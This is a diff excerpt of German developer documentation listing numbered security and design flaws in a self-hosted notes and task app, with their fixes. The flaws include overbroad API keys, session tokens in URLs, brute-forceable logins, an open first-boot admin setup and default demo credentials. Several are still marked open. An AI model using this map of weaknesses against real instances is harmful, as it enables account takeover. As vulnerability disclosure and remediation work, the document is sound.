- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
|
||||
|
||||
### FLAW-07: API-Key-Scopes ohne Wirkung
|
||||
- **Teilweise behoben:** API-Keys dürfen nur noch `POST /inbox` und `POST /webhooks/ingest` nutzen (`apiKeyAllowed` in `server.go`), alles andere gibt `403`. Auswählbare Scopes (Triage, Aufgaben, Listen) stehen noch aus.
|
||||
- **Fundstellen:** Tabelle `api_keys.scopes` (Standard `ingest,read`), `authMiddleware`.
|
||||
- **Problem:** Ein Key mit Präfix `mindsift_sec_` authentifiziert als der Benutzer, mit allen Rechten: alle `/api/v1`-Routen, bei Admins auch `/admin/*`, außerdem das Anlegen weiterer Keys. Für Webhooks (nur Aufgaben anlegen) ist das überdimensioniert.
|
||||
- **Maßnahme:** Scopes auswerten; Keys standardmäßig nur auf `/inbox` und `/webhooks/ingest` beschränken.
|
||||
### FLAW-34: SMTP-Passwort im Klartext
|
||||
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
|
||||
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
|
||||
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
|
||||
- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
|
||||
|
||||
### FLAW-08: Webhook-Ingest umgeht Sitzungsprüfung
|
||||
- **Status: Behoben.** Middleware und Webhook-Ingest nutzen dieselbe Prüfung (`authenticateToken`): Sperrliste, `token_version`, aktives Konto. Test: `TestAPIKeysOnlyDeliverData`.
|
||||
- **Fundstelle:** `handleWebhookIngest`, JWT-Zweig.
|
||||
- **Problem:** Das Token wird nur kryptografisch validiert. `IsTokenRevoked`, `token_version` und `is_active` werden nicht geprüft; ein ausgeloggtes oder deaktiviertes Konto kann weiter Aufgaben anlegen (bis Token-Ablauf nach 30 Tagen).
|
||||
- **Maßnahme:** Dieselbe Prüfkette wie in `authMiddleware` verwenden (gemeinsame Funktion statt Kopien; siehe auch `authenticateUserFromReq`).
|
||||
### FLAW-35: `?token=` beim Webhook-Ingest
|
||||
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
|
||||
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
|
||||
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
|
||||
- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
|
||||
|
||||
### FLAW-09: Kein Schutz gegen Brute-Force
|
||||
- **Fundstellen:** `handleLogin`, `handleRegister`, `handleFirstBootSetup`.
|
||||
- **Problem:** Weder Rate-Limit noch Sperre; `middleware.RealIP` vertraut `X-Forwarded-For` ungeprüft. Mindestpasswortlänge ist 4 Zeichen. Der Login-Pfad ist so über das Internet raten- und durchprobierbar.
|
||||
- **Maßnahme:** Rate-Limit je IP und Konto, längeres Mindestpasswort.
|
||||
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
|
||||
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
|
||||
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
|
||||
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
|
||||
- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
|
||||
|
||||
### FLAW-10: `sharing_mode` wird nicht durchgesetzt
|
||||
- **Status: Behoben.** Modi `private`/`organizations`/`open`, zentral durchgesetzt über `Store.CanSee`/`CanShareWith` in Verzeichnis, allen Freigaben und Gruppen; Rechte werden bei Sichtbarkeitsverlust bereinigt ([sharing-and-permissions.md](sharing-and-permissions.md)). Test: `internal/storage/visibility_test.go`.
|
||||
- **Fundstellen:** `Store.GetDiscoverableUsers`, `Store.GetCollaborators`; Share-Handler in `server.go`.
|
||||
- **Problem:**
|
||||
1. Der Modus beeinflusst nur `GetDiscoverableUsers`. In `teams_only` liefert die Funktion trotzdem **alle** Benutzer (`if … mode == "open" || mode == "teams_only" { return GetAllUsers() }`).
|
||||
2. `GET /collaborators` ignoriert den Modus komplett und liefert alle aktiven Konten mit E-Mail-Adresse.
|
||||
3. Keine der Share-Funktionen prüft den Modus. `strict_private` und `teams_only` verhindern Freigaben nicht, wenn man die Ziel-ID kennt.
|
||||
- **Maßnahme:** Eine zentrale Funktion `canShareWith(owner, target)` und in allen Share-Handlern verwenden; Verzeichnisse darauf einschränken.
|
||||
### FLAW-37: Server-Backups überleben das gelöschte Konto
|
||||
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
|
||||
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
|
||||
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
|
||||
- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
|
||||
|
||||
### FLAW-11: Block-Upsert prüft das Dokument nicht
|
||||
- **Status: Behoben.** Alle Blockänderungen laufen über `Store.applyDocChange`: Einfügen mit einer Block-ID aus einer anderen Notiz wird abgelehnt (`exists`), und der Upsert ändert nur Zeilen derselben Notiz (`WHERE blocks.document_id = excluded.document_id`). Test: `TestInsertCannotReuseBlockIDOfAnotherNote`.
|
||||
- **Fundstelle:** `Store.PatchDocumentBlocks`, `INSERT INTO blocks … ON CONFLICT(id) DO UPDATE`.
|
||||
- **Problem:** `blocks.id` ist global eindeutig. Existiert die ID bereits in einem **anderen** Dokument, überschreibt der Konflikt-Zweig dessen Inhalt, ohne `document_id` zu prüfen. Voraussetzung: Schreibrecht im eigenen Dokument und Kenntnis einer fremden Block-ID.
|
||||
- **Maßnahme:** `DO UPDATE … WHERE blocks.document_id = excluded.document_id`; fremde IDs ablehnen.
|
||||
### FLAW-38: Große Downloads brechen nach 30 s ab
|
||||
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
|
||||
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
|
||||
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
|
||||
- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
|
||||
|
||||
### FLAW-12: Alarm-Logik
|
||||
- **Teilweise behoben:** Fälligkeiten haben eine optionale Uhrzeit; der Alarm kommt zur Uhrzeit (ganztägig 9:00) minus `notify_before_minutes`, in der Zeitzone `TZ` (Standard Europe/Berlin, Zeitzonendaten eingebettet). Neue Fälligkeit oder Wiederöffnen setzt `alarm_sent` zurück. Tests: `internal/domain/due_test.go`, `internal/api/alarm_test.go`, `TestAlarmResetsOnNewDueDateOrReopen`. Offen bleibt der letzte Punkt (kein Backoff).
|
||||
- **Fundstellen:** `startAlarmTicker`, `GetDueTasksForAlarm`, `UpdateThoughtDetails`, `UserSettingsView`.
|
||||
- **Probleme:**
|
||||
- `notify_before_minutes` (Einstellungen: „15 Minuten vorher“ usw.) wird nirgends gelesen. Fälligkeiten haben nur ein Datum (`YYYY-MM-DD`), eine Vorlaufzeit ist damit nicht abbildbar.
|
||||
- Verglichen wird mit `time.Now()` in der Zeitzone des Containers (ohne `TZ` also UTC).
|
||||
- `alarm_sent` wird nie zurückgesetzt. Wird die Fälligkeit nach einem Alarm verschoben, gibt es keinen neuen.
|
||||
- Schlagen alle Kanäle fehl, wird jede Minute erneut gesendet (kein Backoff, keine Dead-Letter-Queue).
|
||||
- **Maßnahme:** Fälligkeit mit Uhrzeit speichern, `alarm_sent` bei Änderung von `due_date` zurücksetzen, Wiederholungen begrenzen.
|
||||
### FLAW-39: Kein Rate-Limit außerhalb des Logins
|
||||
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
|
||||
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
|
||||
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
|
||||
- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
|
||||
|
||||
### FLAW-13: Migrationen
|
||||
- **Teilweise behoben:** Das Schema hat eine Version (`PRAGMA user_version`, `schemaVersion` in `sqlite.go`), auf die künftige Migrationen aufsetzen können. Die übrigen Punkte unten gelten weiter.
|
||||
- **Fundstellen:** `Store.migrate` in [`internal/storage/sqlite.go`](../internal/storage/sqlite.go), [`migrations/001_init.sql`](../migrations/001_init.sql).
|
||||
- **Probleme:**
|
||||
- Es gibt keine Versionstabelle. Alle `ALTER TABLE`-Anweisungen laufen bei jedem Start erneut; Fehler werden pauschal ignoriert (`_, _ = s.db.Exec(q)`), echte Fehler fallen nicht auf.
|
||||
- Mehrere `UPDATE`/`DROP TABLE`-Bereinigungen laufen bei jedem Start.
|
||||
- `migrations/001_init.sql` wird nur in das Image kopiert, aber nirgends gelesen, und ist gegenüber dem tatsächlichen Schema veraltet.
|
||||
- **Maßnahme:** `schema_migrations`-Tabelle mit nummerierten, einmalig ausgeführten Schritten; die SQL-Datei entweder einbetten oder entfernen.
|
||||
### FLAW-40: Einladungscode doppelt einlösbar
|
||||
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
|
||||
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
|
||||
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
|
||||
- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
|
||||
|
||||
### FLAW-14: Verschluckte Fehler
|
||||
- **Fundstellen:** u. a. `PatchDocumentBlocks` (Upserts/Deletes), `AddTaskListShare`, `RemoveTaskListShare`, viele `_, _ = s.db.Exec`.
|
||||
- **Problem:** Scheitert ein Schreibzugriff (z. B. `SQLITE_BUSY`), antwortet die API trotzdem mit Erfolg und broadcastet den Stand, der nie gespeichert wurde. Fehler lassen sich nur schwer nachvollziehen.
|
||||
- **Beispiel (behoben):** Das Lösen der Verknüpfung zwischen Notiz-Block und Aufgabe („Verknüpfung aufheben“, Löschen eines verknüpften Blocks) schrieb in nicht existierende Spalten `thoughts.doc_id`/`block_id`. Der Fehler wurde verschluckt, die Funktion war nie wirksam. Korrigiert; im neuen Sync-Weg gleicht `ReconcileDocTaskLinks` Häkchen und gelöschte Blöcke ab.
|
||||
- **Maßnahme:** Mehrstufige Änderungen in Transaktionen bündeln und Fehler zurückgeben.
|
||||
|
||||
### FLAW-15: WriteTimeout und SSE
|
||||
- **Status: Behoben.** `ServeSSE` hebt die Schreibfrist für die eigene Antwort auf (`http.ResponseController.SetWriteDeadline`). Test mit 1-s-Timeout: `TestSSEStreamOutlivesWriteTimeout`. Der Test hat den Abbruch im alten Code bestätigt.
|
||||
- **Fundstelle:** [`cmd/server/main.go`](../cmd/server/main.go) `WriteTimeout: 30 * time.Second`.
|
||||
- **Problem:** Go beendet nach diesem Zeitraum das Schreiben der Antwort. Für den SSE-Fallback (`ServeSSE`) bedeutet das voraussichtlich einen Verbindungsabbruch alle 30 s. WebSockets sind durch Hijacking nicht betroffen. Der Client verbindet sich neu, daher fällt es kaum auf.
|
||||
- **Maßnahme:** Im SSE-Handler `http.ResponseController.SetWriteDeadline(time.Time{})` setzen oder `WriteTimeout` für diese Route aufheben.
|
||||
|
||||
### FLAW-16: Ersteinrichtung und Demo-Modus
|
||||
- **Fundstellen:** `handleFirstBootSetup`, `Store.EnsureDemoAccounts`, `config.Load` (`MINDA_DEMO`, `MINDSIFT_DEMO`, `DEMO_MODE`).
|
||||
- **Probleme:** Solange kein Konto existiert, kann jeder `POST /auth/setup` aufrufen und wird Administrator. Mit gesetztem Demo-Flag entstehen Konten `admin/admin` und `user/user`; versehentlich auf einer öffentlichen Instanz aktiv wäre das eine Komplettübernahme.
|
||||
- **Maßnahme:** Setup per einmaligem Token aus dem Server-Log absichern; Demo-Modus nur zusammen mit expliziter Warnung/Bestätigung.
|
||||
|
||||
### FLAW-17: Schreibgeschützte Dokumentfreigaben
|
||||
- **Status: Behoben.** Zwangsmigration entfernt, Backend prüft Bearbeiter-Rechte (`DocRole`, `/docs/{id}/sync`), der Editor speichert über die Sync-Engine, und der Freigabe-Dialog bietet „Bearbeiten“ an. Browser-Test: `e2e/share.e2e.mjs`.
|
||||
- **Fundstellen:** Migration in `Store.migrate` (`UPDATE doc_shares SET permission = 'read' …`, ebenso `doc_team_shares`, `workspace_folder_shares`), `PatchDocumentBlocks`/`UpdateDocument` (nur Eigentümer).
|
||||
- **Hinweis:** Das ist offenbar gewollt: Nur der Eigentümer schreibt in ein Dokument, Empfänger lesen. Es gibt daher **kein** kollaboratives Bearbeiten. Das Schema (`CHECK(permission IN ('read','write'))`), die Zweige für `write` im Code und frühere Dokumentation suggerieren etwas anderes. Es gibt weder Sperren noch Konfliktauflösung, noch Cursor-Presence.
|
||||
- **Maßnahme:** Entweder Schreibfreigaben mit Konfliktbehandlung ergänzen oder den toten Code und das Schema bereinigen.
|
||||
|
||||
### FLAW-18: Suche
|
||||
- **Status: Behoben.** SQLite FTS5-Volltexttabellen mit BM25-Ranking (`thoughts_fts`, `documents_fts`, `list_items_fts`), Trigger zur automatischen Synchronisation und initialem Backfill beim Start. Sicheres Query-Escaping, Präfixsuche. Strikte Berechtigungsprüfung über `accessibleTaskListIDsQuery`, `DocRole` (eigene, geteilte Notizen, über Ordner gemountete Notizen) und zugängliche Listen. Rückwärtskompatible API-Antwort mit Snippets (`<mark>`) und Frontend-Integration über `CommandPalette` (`Cmd+K` / `Ctrl+K` / `/`).
|
||||
- **Fundstellen:** `internal/storage/search.go`, `internal/api/server.go`, `frontend/src/components/CommandPalette.tsx`.
|
||||
|
||||
### FLAW-19: Geringe Frontend-Testabdeckung
|
||||
- **Stand:** Vitest mit jsdom und Testing Library ist eingerichtet (`npm run test:run`) und läuft beim Image-Build. Getestet sind bisher nur Outliner-Funktionen (Backspace-Zusammenführen, Cursor-Position beim Klicken).
|
||||
- **Problem:** Aufgaben, Listen, Freigabe-Dialoge und Berechtigungsanzeigen sind ungetestet. `"lint"` in [`frontend/package.json`](../frontend/package.json) ist weiterhin ein Platzhalter (`echo`).
|
||||
- **Maßnahme:** Tests für kritische Pfade ergänzen, ESLint als echtes `lint`-Skript.
|
||||
|
||||
### FLAW-20: Dateigröße und Duplikate
|
||||
- **Teilweise behoben:** `sqlite.go` und `server.go` sind nach Bereichen in eigene Dateien aufgeteilt (reine Verschiebung, Verhalten unverändert; siehe [architecture.md](architecture.md#verzeichnisse)). Offen: große Frontend-Dateien und die doppelte Zugriffsabfrage.
|
||||
- `internal/storage/sqlite.go` (≈ 5.600 Zeilen), `internal/api/server.go` (≈ 3.000), `WorkspaceView.tsx` (≈ 2.300), `TasksView.tsx` (≈ 2.500), `api.ts` (≈ 1.500).
|
||||
- Die Zugriffsabfrage für Aufgabenlisten steht dreimal fast identisch im Code (`accessibleTaskListIDsQuery`, `GetTaskLists`, `GetTaskListByID`). Dokumentzugriff ist ähnlich verteilt. Änderungen an Berechtigungen müssen an mehreren Stellen erfolgen und werden leicht vergessen.
|
||||
- **Maßnahme:** In Teilmodule zerlegen (Auth, Dokumente, Aufgaben, Listen, Teams), Zugriffsprüfung zentralisieren.
|
||||
|
||||
### FLAW-21: Lizenzdatei fehlt
|
||||
- README und Badge nennen die MIT-Lizenz und verlinken auf `LICENSE`; die Datei existiert nicht im Repository.
|
||||
|
||||
### FLAW-22: Netzwerk-Details
|
||||
- `authenticateUserFromReq` akzeptiert das Token als `?token=` (nötig für `WebSocket`/`EventSource`, die keine Header setzen). Tokens landen dadurch in Proxy- und Zugriffslogs.
|
||||
- `AllowedOrigins: ["*"]` (Auth läuft über `Authorization`-Header, nicht über Cookies, das Risiko ist daher begrenzt) und `CheckOrigin` liefert immer `true`.
|
||||
- Ein einmal verbundener WebSocket/SSE-Stream wird bei Logout oder Token-Widerruf nicht getrennt.
|
||||
- **Maßnahme:** Kurzlebiges, einmaliges Stream-Ticket statt Langzeit-JWT in der URL; Origin gegen `BASE_URL` prüfen.
|
||||
|
||||
### FLAW-23: SQLite-Schreibengpass
|
||||
- Eine SQLite-Datei (WAL, `busy_timeout`, bis zu 8 offene Verbindungen) erlaubt nur einen gleichzeitigen Schreiber. Für Familien und kleine Teams unkritisch; bei vielen aktiven Editoren sind `SQLITE_BUSY`-Fehler möglich, die wegen FLAW-14 stumm bleiben.
|
||||
|
||||
### FLAW-24: Organisations-Endpunkte ohne Berechtigungsprüfung
|
||||
- **Status: Behoben.** Die alten `/organizations`-Endpunkte sind entfernt; Organisationen verwaltet nur der Server-Admin über `/admin/organizations`.
|
||||
- **Fundstellen:** `handleDeleteOrganization`, `handleGetOrgTeams`, `handleCreateOrgTeam` (und `Store.DeleteOrganization`) in `server.go` bzw. `sqlite.go`.
|
||||
- **Problem:** Diese Handler prüfen weder Eigentümer noch Mitgliedschaft. Jeder angemeldete Nutzer kann mit bekannter ID eine fremde Organisation löschen, deren Gruppen auflisten oder dort Gruppen anlegen. Gruppenbezogene Endpunkte (`/teams/{id}…`) prüfen dagegen korrekt auf Gruppen-Admin. Das Datenmodell kennt Organisationen nur noch rudimentär; im UI werden Gruppen direkt über `POST /teams` angelegt (`orgId` Standard `default`).
|
||||
- **Maßnahme:** Organisationen entweder konsequent absichern (Eigentümer/Server-Admin) oder entfernen.
|
||||
|
||||
### FLAW-25: Teilweise ausgeführte Struktur-Aktionen an gesperrten Bullets
|
||||
- **Status: Behoben.** Fremd gesperrte Bullets sind im Editor schreibgeschützt und zeigen, wer sie bearbeitet. Löschen, Zusammenführen, Ein-/Ausrücken und Ziehen werden nicht gestartet, wenn ein beteiligter Bullet (oder einer im Ast) gesperrt ist; stattdessen erscheint ein Hinweis. Ebenso für „Übernehmen“/„Verwerfen“ und Rückgängig. Browser-Test: `e2e/lock.e2e.mjs`.
|
||||
- **Fundstellen:** `handleMergeWithPrevious` und `handleIndentBlock` in [`OutlinerTree.tsx`](../frontend/src/features/workspace/OutlinerTree.tsx); Sperrregeln in `internal/collab` (Verschieben/Löschen gesperrter Blöcke wird abgelehnt).
|
||||
- **Problem:** Eine Editor-Aktion besteht oft aus mehreren Operationen. Ist einer der beteiligten Bullets von jemand anderem gesperrt, lehnt der Server nur diese Operation ab. Beispiel aus dem Browser-Test: Backspace am Zeilenanfang hängt den Text oben an (angewendet), das Löschen des unteren Bullets wird abgelehnt – der Text steht dann doppelt da. Einrücken eines fremd gesperrten Bullets wird ohne Hinweis zurückgenommen. Es geht kein Text verloren.
|
||||
- **Maßnahme (Phase 3):** Gesperrte Bullets im Editor anzeigen und Struktur-Aktionen, die sie berühren, gar nicht erst ausführen.
|
||||
|
||||
### FLAW-26: Fokus-Verzögerung nach Enter
|
||||
- **Status: Behoben.** Neu eingehängte Bullets bekommen den Fokus sofort beim Einhängen. Browser-Test: „Sofort nach Enter Getipptes landet im neuen Bullet“.
|
||||
- **Fundstelle:** `focusBlockInput` in `OutlinerTree.tsx` setzt den Fokus erst im nächsten Animation-Frame.
|
||||
- **Problem:** Zeichen, die innerhalb dieses Frames getippt werden (automatisiert oder sehr schnelles Tippen), landen noch im vorherigen Bullet. Bei fremd gesperrtem Bullet entsteht daraus eine Konfliktkopie.
|
||||
- **Maßnahme:** Fokus nach dem Anlegen synchron setzen (`useLayoutEffect`).
|
||||
|
||||
### FLAW-27: Grenzen nach der Verdichtung
|
||||
- **Status: Bekannt, bewusst so.**
|
||||
- **Fundstellen:** `CompactDocs` in [`internal/storage/docsync.go`](../internal/storage/docsync.go), `reviveAsNewBlock` in [`internal/collab/ops.go`](../internal/collab/ops.go).
|
||||
- **Verhalten:** Nach 30 Tagen sind gelöschte Blöcke endgültig weg. Rückgängig für ein so altes Löschen ist nicht mehr möglich (Hinweis im Editor). Text, der wochenlang offline in einem inzwischen endgültig gelöschten Block getippt wurde, kommt als neuer Block am Ende der Notiz zurück, nicht an der alten Stelle. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet (Antwort ging verloren, Gerät so lange offline), wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie, kein stilles Überschreiben.
|
||||
### FLAW-41: Sehr große Frontend-Dateien
|
||||
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
|
||||
- **Problem:** Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
|
||||
- **Maßnahme:** In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und `api.ts` in REST-Client und Realtime-Transport teilen.
|
||||
|
||||
---
|
||||
|
||||
## Aus der früheren Fassung entfernt
|
||||
## Ideen für Funktionen
|
||||
|
||||
Die frühere `flaws.md` führte als „gelöst“, was im Code nicht existiert: In-Memory-DocRooms, `clientId`-Echo-Schutz, Cursor-Presence, 1,5-s-Debounce-Flush, `internal/ws/docroom.go`, `frontend/src/lib/useDocumentSync.ts` und Yjs/CRDT. Der Code enthält nur noch `internal/ws/hub.go` (Räume, Benutzer-Kanäle, SSE-Fallback). Die CRDT-Tabellen werden beim Start gelöscht (`DROP TABLE document_crdt_*`). Dokumente werden per REST gespeichert (`PATCH /documents/{id}/blocks`) und als `DOC_BLOCKS_PATCHED` verteilt. Die frühere Aussage zur Token-Versionierung (`token_version`, `revoked_tokens`) trifft dagegen zu und ist in [sharing-and-permissions.md](sharing-and-permissions.md) und [architecture.md](architecture.md) beschrieben.
|
||||
### Erfassen
|
||||
- **Teilen-Ziel der App** (`share_target` im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
|
||||
- **Natürliche Zeitangaben** beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
|
||||
- **Mail an die Inbox:** eine persönliche Adresse, deren Mails als Gedanken landen.
|
||||
|
||||
### Aufgaben & Erinnerungen
|
||||
- **Web-Push-Benachrichtigungen** für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
|
||||
- **Alarme auch für Zugewiesene**, nicht nur für den Eigentümer der Aufgabe.
|
||||
- **Zeitzone pro Benutzer** statt einer Server-Zeitzone für alle.
|
||||
- **Kalenderansicht und iCal-Abo** der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
|
||||
- **Flexiblere Wiederholungen:** „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.
|
||||
|
||||
### Notizen
|
||||
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
|
||||
- **Bilder und Anhänge** in Notizen.
|
||||
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
|
||||
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
|
||||
- **Verlinkungs-Graph** auf Basis der Backlinks.
|
||||
|
||||
### Listen
|
||||
- **Sortierung nach Laden:** Kategorien in der Reihenfolge des eigenen Supermarkts.
|
||||
- **Häufige Einträge vorschlagen** beim Tippen (aus erledigten Einträgen).
|
||||
|
||||
### Konto & Sicherheit
|
||||
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
|
||||
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
|
||||
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
|
||||
|
||||
### Betrieb
|
||||
- **Backups an ein externes Ziel** (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
|
||||
- **`/metrics` für Prometheus** und ein Healthcheck, der auch die Datenbank prüft.
|
||||
- **Update-Hinweis** in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.
|
||||
@@ -149,7 +149,7 @@ Ein Hintergrundjob (`startCompaction`) läuft beim Start und danach alle 6 Stund
|
||||
| Idempotenz-Ergebnisse | 90 Tage |
|
||||
| Leases und Sitzungen im Speicher | abgelaufene werden entfernt |
|
||||
|
||||
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: [FLAW-27](../flaws.md).
|
||||
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: Nach 30 Tagen sind gelöschte Blöcke endgültig weg, Rückgängig ist dann nicht mehr möglich. Text, der so lange offline in einem inzwischen gelöschten Block getippt wurde, kommt als neuer Block ans Ende der Notiz. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet, wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie.
|
||||
|
||||
## Tests
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
|
||||
- Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
|
||||
- **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
|
||||
- Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
|
||||
- Bekannte Lücke: [FLAW-03](../flaws.md) (Umsortieren per ID).
|
||||
- Bekannte Lücke: (Umsortieren per ID).
|
||||
|
||||
## Wiederkehrende Aufgaben
|
||||
|
||||
@@ -57,6 +57,6 @@ Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich wa
|
||||
- `SMTP_SKIP_VERIFY` / Schalter „Zertifikatsprüfung deaktivieren“ akzeptiert selbstsignierte Zertifikate (Verbindung bleibt verschlüsselt).
|
||||
- Fehler nennen den Schritt, an dem der Server abgelehnt hat (z. B. `SMTP-Schritt RCPT TO fehlgeschlagen: 451 …`), im Log als `smtp_step`. Test: `internal/api/mail_test.go` mit einem Fake-Server (STARTTLS, 451).
|
||||
|
||||
